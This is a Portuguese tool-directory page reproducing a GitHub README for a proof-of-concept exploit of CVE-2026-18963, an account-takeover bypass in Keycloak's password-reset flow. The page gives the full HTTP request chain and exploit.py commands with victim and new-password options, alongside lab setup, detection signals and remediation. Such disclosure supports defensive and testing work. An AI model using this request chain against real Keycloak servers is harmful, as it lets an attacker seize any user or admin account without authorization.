Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-18963-keycloak — Exploit de prova de conceito para CVE-2026-18963, um bypass crítico de redefinição de credenciais no Keycloak que possibilita a tomada de conta não autenticada. Inclui configuração de laboratório, orientações de detecção e etapas de remediação para testes autorizados. | Kitploit
Ferramentas/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAutenticaçãoAprendizado e Educação
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Exploit de prova de conceito para CVE-2026-18963, um bypass crítico de redefinição de credenciais no Keycloak que possibilita a tomada de conta não autenticada. Inclui configuração de laboratório, orientações de detecção e etapas de remediação para testes autorizados.

Ver Repositório
20346há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-18963 — Bypass de Reset-Credentials no Keycloak → Account Takeover

Account takeover não autenticado no fluxo de reset-credentials do Keycloak. Um atacante que conhece apenas um nome de usuário/e-mail pode redefinir a senha de qualquer usuário — incluindo admins — sem nunca receber o e-mail de verificação.

CVE CVSS CWE License


⚠️ Aviso — Apenas uso ético

Esta prova de conceito é publicada estritamente para fins educacionais, pesquisa defensiva, engenharia de detecção e testes de segurança autorizados.

  • Use-a apenas contra sistemas que você possui ou para os quais tem autorização escrita explícita para testar. Acessar ou modificar sistemas sem permissão é ilegal e antiético.
  • Este é um recurso defensivo/educacional destinado a ajudar equipes a entender, detectar e remediar a CVE-2026-18963 — não para atacar terceiros.
  • O autor (red-darkin) NÃO assume nenhuma responsabilidade ou obrigação por qualquer uso indevido, dano ou atividade ilegal realizada com este código. Você é o único responsável pela forma como o utiliza e por cumprir todas as leis aplicáveis.
  • Ao baixar ou usar este repositório, você aceita estes termos. Se não concordar, não o utilize.

Consulte DISCLAIMER.md para a declaração completa.


Resumo

CVECVE-2026-18963
SeveridadeCrítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
FraquezaCWE-640 — Mecanismo Fraco de Recuperação de Senha
AfetadoKeycloak < 26.7.2 (upstream). Também streams de build RH corrigidos via bundles 26.6.6 / 26.4.15
CorrigidoKeycloak 26.7.2 (PR #51844)
Pré-condiçõesForgot password (reset credentials) habilitado no realm — o padrão
ImpactoAccount takeover completo de qualquer usuário (incluindo admins do realm) → comprometimento do IdP + acesso SSO lateral

Como funciona — dois bugs encadeados

O fluxo de redefinição de senha (reset-credentials) normalmente força você a clicar em um link enviado por e-mail ao proprietário da conta antes de definir uma nova senha. Dois defeitos permitem que um atacante ignore essa verificação completamente:

  1. Estado "Try Another Way" sem escopo — o handler do seletor de autenticação armazena a nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sem escopo para o execution ID. Reentrar no fluxo deixa a sessão de autenticação em um estado confuso/obsoleto.
  2. Verificação de token ausente na etapa de e-mail — ResetCredentialEmail.action() chama context.success() sem verificar ACTION_TOKEN_USER_ID (ou seja, sem confirmar que o token de ação enviado por e-mail foi realmente consumido).

Encadeá-los avança a sessão de autenticação diretamente para a etapa UPDATE_PASSWORD para um usuário arbitrário, sem necessidade de e-mail.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

Consulte docs/ROOTCAUSE.md para ver o diff do patch anotado.


Início rápido (laboratório)

Você precisa do Docker e do Python 3 com requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Saída esperada:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Em seguida, faça login como victim / Pwned-2026! para confirmar a tomada de controle.

Controle negativo (corrigido)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Uso

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Cada resposta HTTP é gravada em ./dump/ para inspeção.


Proxy através do Burp

O Keycloak já utiliza a porta 8080, portanto aponte o listener do Burp para outra porta (por exemplo, 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

A cadeia de requisições bruta para o Burp Repeater está em requests/burp-chain.txt.


Detecção

Procure por uma alteração de senha que não foi precedida por verificação de e-mail na mesma sessão de autenticação:

  • Um evento UPDATE_PASSWORD sem um VERIFY_EMAIL / EXECUTE_ACTION_TOKEN precedente para aquela sessão.
  • Rajadas de requisições reset-credentials carregando tryAnotherWay=on.
  • Múltiplas reentradas em login-actions/reset-credentials para o mesmo tab_id.

Remediação

  • Atualize para o Keycloak 26.7.2 (ou o fluxo de build RH corrigido) — prioridade máxima.
  • Mitigação temporária: Realm settings → Login → Forgot password = Off.
  • Pós-patch: rotacione as credenciais de administrador, force novo login após redefinições e alerte sobre os sinais de detecção acima.

Referências

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • PR de correção #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Demonstração

CVE-2026-18963 PoC

Créditos

  • red-darkin — reprodução em laboratório, PoC e write-up.
  • Claude (Anthropic) — assistência no desenvolvimento da pesquisa e da PoC.

Cadeia corroborada com o patch público do Keycloak (PR #51844) e write-ups da comunidade.

Licença

MIT © red-darkin — apenas para uso educacional e de testes autorizados.

Baixar ferramenta